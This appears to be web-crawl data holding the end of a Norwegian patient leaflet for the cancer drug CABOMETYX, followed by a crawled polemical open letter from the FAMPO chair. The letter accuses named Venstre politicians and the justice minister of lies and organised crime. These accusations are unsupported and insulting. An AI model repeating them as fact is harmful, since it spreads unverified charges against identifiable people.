gravid, m\u00e5 du bruke sikker prevensjon under behandlingen og i minst fire m\u00e5neder etter at\n\nbehandlingen er avsluttet. R\u00e5df\u00f8r deg med lege ang\u00e5ende sikre prevensjonsmetoder under behandling med CABOMETYX (se ogs\u00e5 under \u00abAndre legemidler og CABOMETYX\u00bb over).\n\nKontakt lege hvis du eller partneren din blir gravid eller planlegger \u00e5 bli gravid mens du f\u00e5r behandling med CABOMETYX.\n\nR\u00e5df\u00f8r deg med lege F\u00d8R du tar CABOMETYX hvis du eller partneren din vurderer eller planlegger \u00e5 f\u00e5 barn n\u00e5r behandlingen er avsluttet. Det er en mulighet for at fertiliteten kan p\u00e5virkes av behandlingen med CABOMETYX.\n\nKvinner som tar CABOMETYX skal ikke amme under behandling, og i minst fire m\u00e5neder etter at behandlingen er avsluttet. Kabozantinib, og/eller dets metabolitter, kan skilles ut i morsmelken og v\u00e6re skadelig for barnet.\n\nKj\u00f8ring og bruk av maskiner\n\nV\u00e6r forsiktig n\u00e5r du kj\u00f8rer bil eller bruker maskiner. V\u00e6r oppmerksom p\u00e5 at behandling med CABOMETYX kan gj\u00f8re deg trett eller svak, og kan svekke din evne til \u00e5 kj\u00f8re bil eller bruke maskiner.\n\nCABOMETYX inneholder laktose\n\nCABOMETYX inneholder laktose (en type sukker). Dersom legen din har fortalt deg at du har en intoleranse overfor noen sukkertyper, b\u00f8r du kontakte lege f\u00f8r du tar dette legemidlet.\n\n## 3\\.Hvordan du bruker CABOMETYX\n\nBruk alltid dette legemidlet n\u00f8yaktig slik legen din eller apoteket har fortalt deg. Kontakt lege eller apotek hvis du er usikker.\n\nDu b\u00f8r fortsette \u00e5 ta dette legemidlet inntil legen bestemmer at behandlingen skal avsluttes. Hvis du f\u00e5r alvorlige bivirkninger, kan legen velge \u00e5 endre dosen eller stoppe behandlingen tidligere enn opprinnelig planlagt. Legen vil fortelle deg dersom dosen din m\u00e5 justeres.\n\nCABOMETYX skal tas \u00e9n gang daglig. Den vanlige dosen er 60 mg, men legen vil avgj\u00f8re hvilken dose som er riktig for deg.\n\nCABOMETYX skal ikke tas sammen med mat. Du b\u00f8r ikke spise noe i minst to timer f\u00f8r du tar CABOMETYX og i minst \u00e9n time etter inntak av legemidlet. Svelg tabletten med et fullt glass vann. Tablettene m\u00e5 ikke knuses.\n\nDersom du tar for mye av CABOMETYX\n\nKontakt umiddelbart lege eller dra til sykehus hvis du har f\u00e5tt i deg for mye CABOMETYX. Ta med deg tablettene og dette pakningsvedlegget.\n\nDersom du har glemt \u00e5 ta CABOMETYX\n\n\\-Hvis det er minst 12 timer til du skal ta den neste dosen, skal du ta den glemte dosen s\u00e5 snart du husker det. Ta neste dose til vanlig tid.\n\n\\-Hvis det er under 12 timer til du skal ta den neste dosen, skal du ikke ta den glemte dosen. Ta neste dose til vanlig tid.\n\n## 4\\.Mulige bivirkninger\n\nSom alle legemidler kan dette legemidlet for\u00e5rsake bivirkninger, men ikke alle f\u00e5r det. Hvis du f\u00e5r bivirkninger, kan legen be deg om \u00e5 ta CABOMETYX med en lavere dose. Legen kan ogs\u00e5 foreskrive andre legemidler for \u00e5 hjelpe deg med \u00e5 kontrollere bivirkningene.\n\nFortell legen umiddelbart hvis du oppdager noen av f\u00f8lgende bivirkninger \u2013 du kan trenge akutt medisinsk behandling:\n\nSymptomer som inkluderer magesmerter, kvalme, oppkast, forstoppelse eller feber. Disse kan v\u00e6re tegn p\u00e5 en mage-tarm perforasjon, et hull som utvikles i magesekken eller tarmen og som kan v\u00e6re livstruende.\n\nAlvorlig eller ukontrollerbar bl\u00f8dning med symptomer som blodtilblandet oppkast, svart avf\u00f8ring, blodig urin, hodepine, hosting av blod.\n\nHevelse, smerter i hender og f\u00f8tter, eller kortpustethet.\n\nEt s\u00e5r som ikke gror.\n\nKrampeanfall, hodepine, forvirring eller konsentrasjonsproblemer. Dette kan v\u00e6re tegn p\u00e5 en tilstand som kalles reversibel posterior leukoencefalopati syndrom (RPLS). RPLS er mindre vanlig (forekommer hos under 1 av 100 personer).\n\nAndre bivirkninger inkluderer:\n\nSv\u00e6rt vanlige bivirkninger (kan forekomme hos flere enn 1 av 10 personer)\n\nMageproblemer, inkludert diar\u00e9, kvalme, oppkast, forstoppelse, ford\u00f8yelsesproblemer og magesmerter\n\nBlemmer, smerter i h\u00e5ndflater eller fots\u00e5ler, utslett eller r\u00f8dhet i huden, t\u00f8rr hud\n\nNedsatt appetitt, vekttap, endret smakssans\n\nTretthet (fatigue), svakhet, hodepine, svimmelhet\n\nHypertensjon (\u00f8kt blodtrykk)\n\nAnemi (lavt antall r\u00f8de blodceller)\n\nR\u00f8dhet, hevelse eller smerter i munnen eller svelget, problemer med \u00e5 snakke, heshet, hoste\n\nEndringer i blodpr\u00f8ver brukt for \u00e5 overv\u00e5ke allmennhelsen og funksjonen til organene dine (inkludert leveren), lave niv\u00e5er av elektrolytter (f.eks. magnesium, kalsium, natrium eller kalium)\n\n\u00d8kning av bilirubinniv\u00e5et i blodet (som kan f\u00f8re til gulsott/gulfarging av huden eller \u00f8ynene)\n\nSmerter i armer, bein og ledd, muskelkramper\n\nKortpustethet\n\nProtein i urinen (p\u00e5vist ved test)\n\nRedusert aktivitet i skjoldbruskkjertelen, symptomer kan inkludere: tretthet, vekt\u00f8kning, forstoppelse, kuldef\u00f8lelse og t\u00f8rr hud\n\nVanlige bivirkninger (kan forekomme hos opptil 1 av 10 personer)\nKontakt lege eller apotek dersom du opplever bivirkninger, inkludert mulige bivirkninger som ikke er nevnt i dette pakningsvedlegget. Du kan ogs\u00e5 melde fra om bivirkninger direkte via det nasjonale meldesystemet som beskrevet i Appendix V. Ved \u00e5 melde fra om bivirkninger bidrar du med informasjon om sikkerheten ved bruk av dette legemidlet.\n\n## 5\\.Hvordan du oppbevarer CABOMETYX\n\nOppbevares utilgjengelig for barn.\n\nBruk ikke dette legemidlet etter utl\u00f8psdatoen som er angitt p\u00e5 blisterpakningen, boksetiketten og esken etter EXP. Utl\u00f8psdatoen henviser til den siste dagen i den m\u00e5neden.\n\nDette legemidlet krever ingen spesielle oppbevaringsbetingelser.\n\nLegemidler skal ikke kastes i avl\u00f8psvann eller sammen med husholdningsavfall. Sp\u00f8r p\u00e5 apoteket hvordan du skal kaste legemidler som du ikke lenger bruker. Disse tiltakene bidrar til \u00e5 beskytte milj\u00f8et.\n\n  - Nutropinaq - Ipsen Pharma\n  - Increlex - Ipsen Pharma\n  - Cometriq - Ipsen Pharma\n\n## 6\\. Innholdet i pakningen og ytterligere informasjon\n\nSammensetning av CABOMETYX\n\nVirkestoff er kabozantinib.\n\nCABOMETYX 20 mg filmdrasjerte tabletter: Hver tablett inneholder kabozantinib (S)-malat tilsvarende 20 mg kabozantinib.\n\nCABOMETYX 40 mg filmdrasjerte tabletter: Hver tablett inneholder kabozantinib (S)-malat tilsvarende 40 mg kabozantinib.\n\nCABOMETYX 60 mg filmdrasjerte tabletter: Hver tablett inneholder kabozantinib (S)-malat tilsvarende 60 mg kabozantinib.\n\nAndre innholdsstoffer er:\n\n\\-Tablettens innhold: mikrokrystallinsk cellulose, vannfri laktose, hydroksypropylcellulose, krysskarmellosenatrium, kolloidal vannfri silika, magnesiumstearat (se avsnitt 2 for laktoseinnhold).\n\n\\-Filmdrasjering: hypromellose 2910, titandioksid (E171), triacetin, gult jernoksid (E172).\n\nHvordan CABOMETYX ser ut og innholdet i pakningen\n\nCABOMETYX 20 mg filmdrasjerte tabletter er gule, runde uten delestrek, og merket med \"XL\" p\u00e5 den ene siden og \"20\" p\u00e5 den andre siden.\n\nCABOMETYX 40 mg filmdrasjerte tabletter er gule, trekantede uten delestrek, og merket med \"XL\" p\u00e5 den ene siden og \"40\" p\u00e5 den andre siden.\n\nCABOMETYX 60 mg filmdrasjerte tabletter er gule, ovale uten delestrek, og merket med \"XL\" p\u00e5 den ene siden og \"60\" p\u00e5 den andre siden.\n\nCABOMETYX-tabletter leveres i pakninger p\u00e5 enten fire blistre med 7 tabletter i hver (totalt 28), eller \u00e9n plastboks med 30 tabletter.\n\nIkke alle pakningsst\u00f8rrelser vil n\u00f8dvendigvis bli markedsf\u00f8rt i ditt land.\n\nKonklusjoner fremlagt av Det europeiske legemiddelkontoret (The European Medicines Agency) vedr\u00f8rende:\n\nmarkedsf\u00f8ringsbeskyttelse i ett \u00e5r\n\n  - Sprycel\n  - Resolor\n  - Mircera\n  - Stalevo\n  - Pradaxa\n  - Bosulif\n\nCHMP vurderte data innsendt av innehaveren av markedsf\u00f8ringstillatelsen, tatt i betraktning bestemmelsene i artikkel 14(11) i forordning (EF) nr. 726/2004, og er av den oppfatning at den nye terapeutiske indikasjonen gir en vesentlig klinisk fordel sammenlignet med eksisterende indikasjoner. Dette er n\u00e6rmere beskrevet i den europeiske offentlige evalueringsrapporten (EPAR).\n\n  - Cabometyx\n  - Vilk\u00e5r eller restriksjoner vedr\u00f8rende leveranse og bruk\n", "language": "no", "__index_level_0__": "3bfada4c-abf3-47eb-bbf6-9e00d4b499e9"}
{"url": "http://docplayer.me/4020482-At-justisministeren-innehar-ansvar-hva-det-aktuelt-omhandlende-angar-ma-vaere-uomtvistelig-mer-bor-vaere-unodvendig-a-tilfoye-i-sa-mate.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:16:30Z", "text": "# At justisministeren innehar ansvar hva det aktuelt omhandlende ang\u00e5r, m\u00e5 v\u00e6re uomtvistelig. Mer b\u00f8r v\u00e6re un\u00f8dvendig \u00e5 tilf\u00f8ye - i s\u00e5 m\u00e5te.\n\n**Download \"At justisministeren innehar ansvar hva det aktuelt omhandlende ang\u00e5r, m\u00e5 v\u00e6re uomtvistelig. Mer b\u00f8r v\u00e6re un\u00f8dvendig \u00e5 tilf\u00f8ye - i s\u00e5 m\u00e5te.\"**\n\n1 De godt opptatte. \"Saken har jeg ingen planer om \u00e5 kommentere\". Kapasitetene fortsetter \u00e5 imponere hverandre fra Venstres \"Talerstol\". Hvilken sak m\u00e5tte Sven Erling Thorsen sikte til med sin framstilling fra \"Talerstolen\" ? Nei, det har han ingen \"planer\" om \u00e5 kommentere\\! Har det grammatikalske unikum \"h\u00f8rt om\" at det er noe som heter pluralis (flertall)? Stakkars de \"som deltar i samfunnslivet med den ene hensikt \u00e5 gj\u00f8re godt\". Ikke nok med at de blir \u00e6resskjelt n\u00e5r de blir ordrett gjengitt. Hvor forferdelig m\u00e5 det ikke v\u00e6re \u00e5 bli utsatt for en tekst man ikke er gitt skolering til \u00e5 lese? Hvor forferdelig m\u00e5 det ikke v\u00e6re \u00e5 bli utsatt for en tekst belagt med konkrete kildeangivelser? Tillike med justisministerens representerende (jfr. m\u00f8te m/fampo ) - er Venstres organisasjonssjef Runolv Stegane og Unge Venstres Olav A. R\u00f8ssaak overlevert papirutgaven av undertegnedes rapport - \"Ytringsfrihetens pris i Det skjulte Norge\". Og f\u00f8lgelig forbeholdt rapportens vedlegg. Vedlegg \"som snakker for seg selv\". Gitt henvisning til det nedfelte i vedleggene, gitt henvisning til det ufravikelig trykksatte i avisen Bygeposten mv., juger Stegane og R\u00f8ssaak p\u00e5viselig r\u00e5tt\\! Ingenting - trenger de opplyste brukere av analfabetisme - \u00e5 beh\u00f8ve \u00e5 fatte av det uttrykte fra Hi\u00e5sen\\! Det er en framstilling av avskyeligste karakter de aktuelle representanter for justisministerens parti har avlevert fra Venstres \"Talerstol\". Det er bak tiltrengt bruk av den ravende idiots evnelse, det er bak tiltrengt bruk av den skitneste teknikkanvendelse, de selvproklamerte gode tildekker sin virkeutfoldelse. For det kan jo bare ikke v\u00e6re s\u00e5 gjennomf\u00f8rt tilbakest\u00e5ende presentert, v\u00e6re s\u00e5 infernalsk evnet - v\u00e6re s\u00e5 hinsides lov, rett, og etisk redelig forankring - det framstilte fra de gode. De gode som kan kildetilhenvise at de \"skj\u00f8nner\" og \"ikke skj\u00f8nner\", etter bedragersk behov. Det seneste pr. vers avsunget fra Venstres \"Talerstol\", er at de evnerike ikke skj\u00f8nner hva undertegnede skriver. F\u00f8lgelig m\u00e5 de v\u00e6re fritatt fra \u00e5 evne im\u00f8teg\u00e5else. - Ikke skj\u00f8nner hva undertegnede skriver. Men hva har Venstres organisasjonssjef/sigdal kommunes varaordf\u00f8rer hevdet \u00e5 kunne lese i undertegnedes rapport? \u00c5 kunne analfabetisme - etter behov\\! De r\u00e5este og r\u00e5tneste framstillinger - gitt behovet rans- og n\u00f8ytraliseringsarrangementer. Ved \u00e5 lesse p\u00e5 med konstruksjoner fra \"nye\" produsenter av \"saken som ikke ang\u00e5r saken\" - har de forklart seg, de gode evnerike. Har de forklart seg - perverst berikende. Prostitusjon p\u00e5 det menneskerettslige alter utgj\u00f8r en etterrettelig betegnelse hva ang\u00e5r det evnet utbrettede. Uansett hvor trengende for \u00e5 sirkelsprike de gode er - for form\u00e5let kronep\u00e5fyll til seg selv - kan det ikke benektes at det er det trykksatte som har st\u00e5tt p\u00e5 trykk i Bygdeposten\\! Det sirkul\u00e6re mafiaspr\u00e5k. Du er slik du s\u00e5. Av den \u00e5rsak at du er slik. Og da er du slik. Jeg skj\u00f8nner det jeg. Og da er det dokumentert. Som skolert bedrager kan du uttrykke deg kortfattet. Som skolert bedrager er du fri til \u00e5 bruke selvkonstruerte p\u00e5stander som belegg for konklusjoner. Ved \u00e5 p\u00e5plusse at du er \u00e5penbart - er det \u00e5penbart - at du er \u00e5penbart\\! Den \u00e5penbarte jusstudent Olav A. R\u00f8ssaak kan konkludere med at Hi\u00e5sen er slik. Det kan han dokumentere med \u00e5 henvise til egne p\u00e5standskonstruksjoner. Videre kan R\u00f8ssaak gj\u00f8re rede for at det framholdte fra han som er slik, er komplett uforst\u00e5elig. I neste setning er R\u00f8ssaak kvalifisert til \u00e5 redegj\u00f8re for - det som for han i den foreg\u00e5ende setning - var komplett uforst\u00e5elig. At Hi\u00e5sen er slik - er han komplett forst\u00e5elig - \u00e5penbart. Debunk-kompaniet,\n\n\n\n2 planterne av sak etter sak som ikke ang\u00e5r saken, er ikke s\u00e5 komplett dumme - at de ikke vet godt - hva de er opptatt med \u00e5 bedrive. Den mest kyniske organiserte kriminalitet bedrevet av de som \"deltar i samfunnslivet med den ene hensikt \u00e5 gj\u00f8re godt\", framg\u00e5r fra den foreliggende dokumentasjon. Fra sak etter sak - som ang\u00e5r saken\\! Den p\u00e5troppede Sven Erling Thorsen kan meddele: \"Saken har jeg ingen planer om \u00e5 kommentere\". Etter innledningsvis \u00e5 ha gjengitt en hel setning fra min produksjon kan Thorsen opplyse - at saken - er blitt til Hi\u00e5sens uforst\u00e5elige norsk. Det er for vanskelig og tidkrevende \u00e5 tolke hvem som gjorde hva med hva eller hvem. Fortsettelig kan han informere: \"Hvis den ber\u00f8mte rapporten er f\u00f8rt i pennen med samme spr\u00e5kdrakt er det ikke vanskelig for meg \u00e5 forst\u00e5 at konsekvensen vil v\u00e6re at ingen leser hverken den eller hele innleggene eller forst\u00e5r innholdet p\u00e5 samme m\u00e5te som forfatteren. Dermed synes jeg det faller seg helt naturlig at teksten betegnes av andre som \"komplett uforst\u00e5elig\". N\u00e5r ogs\u00e5 forsvarene mot slike yttringer er konstruert p\u00e5 samme m\u00e5te blir det hele plutselig bare enda vanskeligere\". Helledussen. \"Hvem som gjorde hva med hva eller hvem\". - \"N\u00e5r ogs\u00e5 forsvarene mot slike yttringer er konstruert p\u00e5 samme m\u00e5te\". Hvem har konstruert forsvarene? Hvem andre enn Stegane, R\u00f8ssaak & Co? Det m\u00e5 jo v\u00e6re de konstruerte svar mot undertegnedes yttringer, du sikter til Thorsen? - Karakteristikken \"slike yttringer\". Dette m\u00e5 n\u00f8dvendig angjelde sak. Men det hadde Thorsen \"ingen planer om \u00e5 kommentere\". Norskunikumet Thorsen fortsetter: At Hi\u00e5sen s\u00e5 mener at det \u00e5 ikke forst\u00e5 hva han skriver m\u00e5 v\u00e6re et tegn p\u00e5 analfabetisme er vel fors\u00e5vidt ogs\u00e5 forst\u00e5elig siden han godt kan ha ment noe helt annet enn det folk har tolket ut av tekstene. Jeg tror du ganske enkelt kan kurere analfabetismen Hi\u00e5sen, ved \u00e5 fors\u00f8ke \u00e5 skrive enklere og mer riktig norsk, samt fors\u00f8ke \u00e5 ikke skrive s\u00e5 UTROLIG lange svar p\u00e5 korte innlegg. Jeg tror du kunne klart deg med 20-30% av bokstavene, maksimum, og sagt akkurat det samme\". At Hi\u00e5sen s\u00e5 mener at det \u00e5 ikke forst\u00e5 hva han skriver m\u00e5 v\u00e6re et tegn p\u00e5 analfabetisme\". \"Mener\" jeg det? Om Thorsen & Co hadde fors\u00f8kt \u00e5 kurere sitt behov for \u00e5 gj\u00f8re bruk av analfabetisme, ville de i tilfelle ha evnet etterrettelighet? Gj\u00f8re bruk av analfabetisme. Lesson one. La oss anvende som eksempel setningen: Thorsen bruker analfabetisme. Her er Thorsen subjekt, bruker er verbal, og analfabetisme objekt. Det p\u00e5f\u00f8lgende kan norskunikumet fors\u00f8ke \u00e5 forklare selv: Hvorfor konstruerer Thorsen saken som ikke ang\u00e5r saken? Er det fortsatt \"komplett uforst\u00e5elig\", det uttrykte fra undertegnede? I s\u00e5 fall kan jeg v\u00e6re behjelpelig med \u00e5 meddele at intet av det nedfelte i vedleggene til min rapport er skrevet av Hi\u00e5sen. At Venstres organisasjonssjef Runolv Stegane og Unge Venstres organisatoriske nestleder Olav A. R\u00f8ssaak ikke er skolert til \u00e5 evne lesning av ansvarlig redakt\u00f8r Mj\u00f8sengs lederartikkel angjeldende Radio Modums publisering - at de ikke er skolert til \u00e5 lese hennes intervju av Knut Bye, Svein Aslak Pedersen m. fl. - at de ikke er skolert til \u00e5 lese Mj\u00f8sengs dokumentasjonsbelagte artikler ang\u00e5ende de utsatte for de godes stygge virke - at de ikke er skolert til \u00e5 lese leserinnlegg signert Radio Modums Per Amdahl osv. - Alle \"m\u00e5 skj\u00f8nne\" at analfabetismen er Hi\u00e5sens skyld\\! Thorsen: \"(.) fors\u00f8ke \u00e5 ikke skrive s\u00e5 UTROLIG lange svar p\u00e5 korte innlegg. Det m\u00e5 v\u00e6re UTROLIG god norsk \u00e5 anvende denne betegnelsen hva ang\u00e5r tilsvars faktiske omfang. Jeg beklager ikke at jeg ikke behersker stat i staten-mafiaens tiltrengte spr\u00e5kbruk. Jeg beklager ikke at jeg ikke gj\u00f8r bruk av de gode bedrageres spr\u00e5k og form. Jeg bruker ikke bedragerske\n\n\n\n3 framstillinger som han/hun \"mener\", han/hun \"mener seg\"/\"f\u00f8ler seg\" osv. Jeg bruker ikke den bedragerske teknikk \u00e5 tillegge andre hva de ikke har uttrykt. Jeg ordrett gjengir det framholdte fra vedkommende jeg framf\u00f8rer im\u00f8teg\u00e5else til. At det ikke passer for de skolerte til \u00e5 bedrive bedragersk virksomhet \u00e5 oppfatte hva redelighet inneb\u00e6rer - at det ikke passer for de ut\u00f8vende av s\u00e5dant virke \u00e5 forst\u00e5 at ordrette gjengivelser av deres framstillinger avkrever lange tilsvar - har de dobbeltsidig stygt bekreftet. Tillagt nevnte framholder jeg konkrete kildeangivelser. Og jeg sammenstiller det evnede fra de gode med ufravikelig fakta. At dette ikke passer for evnerike brukere av falske forklaringer - at de godt bedrageriskolerte \"ikke skj\u00f8nner\" det d\u00f8yt av at p\u00e5visning av det virke de ut\u00f8ver, n\u00f8dvendiggj\u00f8r langt mer omfattende framholdelser enn det styggeste hopikok av p\u00e5stander: Det skal GOD-tas\\! Thorsen proklamerer: \"Dette er faktisk ment i aller beste hensikt\". Om Thorsen hadde \"ment\" anstendighet og evnet skam opp mot tegneseriefiguren Nullets niv\u00e5 - ville han ikke \"ganske enkelt kunne kurere\" sitt behov for bruk - av r\u00f8tarotten norsk? Debunk-kollega Christer ML Bendixen var i forkant kallet til \u00e5 prestere: \"Her er det nok p\u00e5 plass med et \"hva var det jeg sa?\"\"freedom of the press applies only to those who own one\" var det en amerikansk redakt\u00f8r som sa - det n\u00e5 slik, at selv om en har uttrykksfrihet har vi ogs\u00e5 til en viss grad inntrykksfrihet - derfor kreves det litt av deg om du vil bli h\u00f8rt. En ting er \u00e5 respektere mediet en bruker, en annen er \u00e5 respektere m\u00e5lgruppen. Mediet er her et internettforum, et sted hvor det skal en god del til f\u00f8r folk gidder \u00e5 lese noe p\u00e5 over 100 ord - det er en grunn til at romaner fremdeles eksisterer s\u00e5 og si bare i papirb\u00f8ker. M\u00e5lgruppen er politikere; en opptatt gjeng mennesker som nok setter pris p\u00e5 at en formidler budskapet sitt saklig og effektivt. Du formulerer budskapet ditt un\u00f8dvendig langt og ineffektivt, med flust av adjektiv og blomstrete formuleringer. Mangelen p\u00e5 svar p\u00e5 dette brevet burde du se p\u00e5 som en \"strykkarakter\" i respekt for m\u00e5lgruppe og medieform - ikke som en strykkarakter i lesekyndighet hos venstremedlemmer (og selv om du skulle mene det, s\u00e5 er det tydeligvis ikke spesielt konstruktivt \u00e5 gjentatte ganger gi uttrykk for det) For \u00e5 v\u00e6re kynisk: hvor god saken din er eller hvor vakkert og inspirerende du skriver har ingenting \u00e5 si om du ikke klarer \u00e5 formidle budskapet ditt p\u00e5 en m\u00e5te som gj\u00f8r at folk gidder \u00e5 ta i mot det\". Nei, folk m\u00e5 ikke gidde \u00e5 ta i mot fakta og p\u00e5vising\\! De m\u00e5 kun gidde \u00e5 ta imot respekt for m\u00e5lgruppen\\! For tildelte forstand opp mot tegneseriefigurens Nullets niv\u00e5, burde dette utgj\u00f8re et tilstrekkelig tilsvar til Bendixens imponerende \"hva var det jeg sa\"-prestasjon. Men siden m\u00e5lgruppen gjennomg\u00e5ende bekjentgj\u00f8r \u00e5 besitte mindre enn gullfiskens minnekapasitet finner jeg det f\u00f8rst p\u00e5krevd \u00e5 repetere at de aktuelle venstremedlemmers strykkarakter i lesekyndighet, har de selv avlevert. For de som ikke er tildelt negativt minne burde det v\u00e6re un\u00f8dvendig \u00e5 p\u00e5minne - at det nedfelte i vedleggene til undertegnedes rapport - ikke er skrevet av Hi\u00e5sen. \"M\u00e5lgruppen er politikere, en opptatt gjeng mennesker som nok setter pris p\u00e5 at en formidler budskapet sitt saklig og effektivt\". Hva gjengen er opptatt med - er stat i staten-mafiasaklig og effektivt menneskerettskrenkende - overveldende demonstrert. \"For \u00e5 v\u00e6re kynisk\", skiver Bendixen. \"Dette er faktisk ment i aller beste hensikt\", oppf\u00f8lger Thorsen. R\u00e5 kynisme, ment i aller beste hensikt. Gitt form\u00e5let at gjengen m\u00e5 v\u00e6re kvalifisert til respekt - for \u00e5 v\u00e6re godt opptatte med \u00e5 beg\u00e5 rans- og n\u00f8ytraliseringsarrangementer. Respektere m\u00e5lgruppen. Respektere de godt opptatte med \u00e5 beg\u00e5 menneskerettskrenkelser. Du \"m\u00e5 skj\u00f8nne\" at det er dette - saken - n\u00e5 omhandler\\!\n\n\n\n4 Respektere mediet. Det aktuelt trykksatte i avisen Bygdeposten - dette p\u00e5viselig p\u00e5 vegne av de utsatte for det avskyelige virke de godt opptatte bedriver. Det m\u00e5 v\u00e6re av respekt for mediet - at eksterne akt\u00f8rer, hvis identitet ikke kunne tilkjennegis overfor ansvarlig redakt\u00f8r - rettet henvendelse til avisens styreformann. Og bekjentgjorde at en fortsettelig belysning p\u00e5 vegne av utsatte for overgrep, alvorlige brudd med straffelovens bestemmelser mv., - det ville de ikke ha noe mer av\\! Til plantekompaniet av de r\u00e5este og r\u00e5tneste l\u00f8gner fra Venstres \"Talerstol\", fors\u00f8k \u00e5 tilbakevise - p\u00e5 norsk - at dette utgjorde Bygepostsakens utgangspunkt\\! M\u00e5lgruppen er politikere. Respekt for m\u00e5lgruppen. Venstres organisasjonssjef/sigdal kommunes varaordf\u00f8rer, Runolv Stegane: \"Dette er en trist historie som kunne ha v\u00e6rt unng\u00e5tt dersom hun (Mj\u00f8seng) ikke hadde latt seg hjernevaske av personer som opptrer som relegi\u00f8se fanatikere med monopol p\u00e5 den rette l\u00e6re. Det er trist \u00e5 se at Erik Strand, cand. scient (if\u00f8lge Hi\u00e5sen) g\u00e5r i samme fella\". Du \"m\u00e5 skj\u00f8nne\" at du skal ha respekt for politikere som er godt opptatte med \u00e5 beg\u00e5 alvorlige brudd med straffelovens bestemmelser. Du \"m\u00e5 skj\u00f8nne\" at du skal ha respekt for godt opptatte med \u00e5 avlevere brunfunderte framstillinger i grotesk strid med de internasjonale menneskerettskonvensjoner - inkorporert i det norske lovverk. Justisminister D\u00f8rum: \"Vi har et lovverk i dette landet\". Advokatetikk og sivile saker utgjorde tema i \"Redaksjon EN\" (NRK) Her forklarte justisministeren: \"Da du holder tilbake noe som ang\u00e5r en sak, da du holder tilbake et faktum, bryter du norsk lov\". Justisminister D\u00f8rum - p\u00e5 bordet for dine representerende, ble i m\u00f8te , framlagt en serie av de sv\u00e6rt alvorlige lovbrudd du benevnte Lovbrudd hyllet fra Venstres \"Talerstol\". En serie lovbrudd beg\u00e5tt av \"dine profesjonelle\" p\u00e5hengt dommerkappe i Norge, En serie p\u00e5viselige lovbrudd beg\u00e5tt for \u00e5 utestenge fra adgang \"i det godt fungerende demokrati\" til \u00e5 forest\u00e5 dokumentasjonsbelagt belysning av overgrep. Forest\u00e5 tilkjennegivelse av de godes beg\u00e5else av brudd med straffelovens bestemmelser. Kriminelle handlinger for \u00e5 tildekke kriminelle handlinger. Den mest kyniske og alvorligste organiserte kriminalitet. Undertegnedes rapport ble overlevert dine representerende, D\u00f8rum. Rapportens vedlegg inneb\u00e6rer ubenektelig p\u00e5visning av de dommerbeg\u00e5tte faktaunderslag. Ytterligere faktum, ytterligere dokumentasjon, herunder offentlig utstedte dokumenter, forelagt og bes\u00f8rget undersl\u00e5tt av \"de profesjonelle\" p\u00e5hengt dommerkappe - ble bordlagt for dine representerende D\u00f8rum. Det uttalte under m\u00f8tet ble ivaretatt lydb\u00e5ndtapet. (Jfr. straffelovens best. 145 A). Bekjentgj\u00f8ring av invitasjon til det omtalte m\u00f8tet ble FAMPO tilkommet fra Marit Meyer, justisministerens politiske r\u00e5dgiver, via Venstres \"Talerstol\". Dette tilhenvist, og det uttrykte under det aktuelle m\u00f8tet tilhenvist, vil det ikke v\u00e6re mulig \u00e5 kunne s\u00f8ke bortforklart at det aktuelt framholdte fra Venstres \"Talerstol\" fra de representerende justisministerens parti - er ukjent for justisministeren/hans representerende under m\u00f8tet Dette reduserer ikke alvorlighetsgraden av den frav\u00e6rende reaksjon fra justisministeren/hans stab. Det meddelte fra justisministeren (\"Redaksjon EN\") konfrontert med det bordlagte for hans representerende under m\u00f8tet reduserer ikke alvorlighetsgraden. Det uttrykte fra justisminsterens representerende under det aktuelle m\u00f8tet, herunder hva ang\u00e5r tilbakemelding til FAMPO - reduserer ikke alvorlighetsgraden\\! Beklageligvis for de godt opptatte med \u00e5 beg\u00e5 alvorlige brudd med \"det lovverk vi har i dette landet\", har de ikke kunnet vise til at jeg bedriver et s\u00e5dant virke. Men den er knapt \u00e5\n\n\n\n5 oppdrive, den stygge karakteristikk, jeg ikke er tildelt. Den er knapt \u00e5 oppdrive, den falske forklaring, jeg i strid med straffelovens bestemmelser - ikke er skjenket av de opptatte. Hva det aktuelt omhandlende ang\u00e5r kan vanskelig konstrueres ytterligere saker - som ikke ang\u00e5r saken. Hvordan f\u00e5 fram, f\u00e5 avkledd, den teknikkbruk og den \u00f8vrige avskyelige og lovstridige framfred - de som proklamerer sin \"deltakelse i samfunnslivet med den ene hensikt \u00e5 gj\u00f8re godt\" etc. - vitterlig ut\u00f8ver? - Er det n\u00f8dvendig at jeg forklarer? Det er vitterlig langt alvorligere enn \"trist \u00e5 se\" det avleverte fra de representerende justisministerens parti fra Venstres \"Talerstol\". At flere ikke reelt fatter hva de gir uttrykk for, m\u00e5 v\u00e6re \u00e5 kunne formode. At misforst\u00e5tt lojalitet kan tilh\u00f8re det aktuelle bilde, m\u00e5 anf\u00f8res. Men for akt\u00f8rer som Venstres organisasjonssjef/sigdal kommunes varaordf\u00f8rer, er ingen formildende omstendigheter gitt mulig \u00e5 kunne framf\u00f8re p\u00e5beropelse av. At justisministeren innehar ansvar hva det aktuelt omhandlende ang\u00e5r, m\u00e5 v\u00e6re uomtvistelig. Mer b\u00f8r v\u00e6re un\u00f8dvendig \u00e5 tilf\u00f8ye - i s\u00e5 m\u00e5te. Dag Hi\u00e5sen Styreformann menneskerettsorganisasjonen FAMPO.\n\n\n\n Ola Marsteins innlegg p\u00e5 Kunnskapssenterets \u00e5rskonferanse 6. juni 2006 Kj\u00e6re Kunnskapssenteret\\! P\u00e5 vegne av Norsk psykiatrisk forening: Takk for invitasjonen, og takk for initiativet til denne unders\u00f8kelsen\\!\n", "language": "no", "__index_level_0__": "a613a34f-f389-4223-81e4-b2d1b781e59b"}
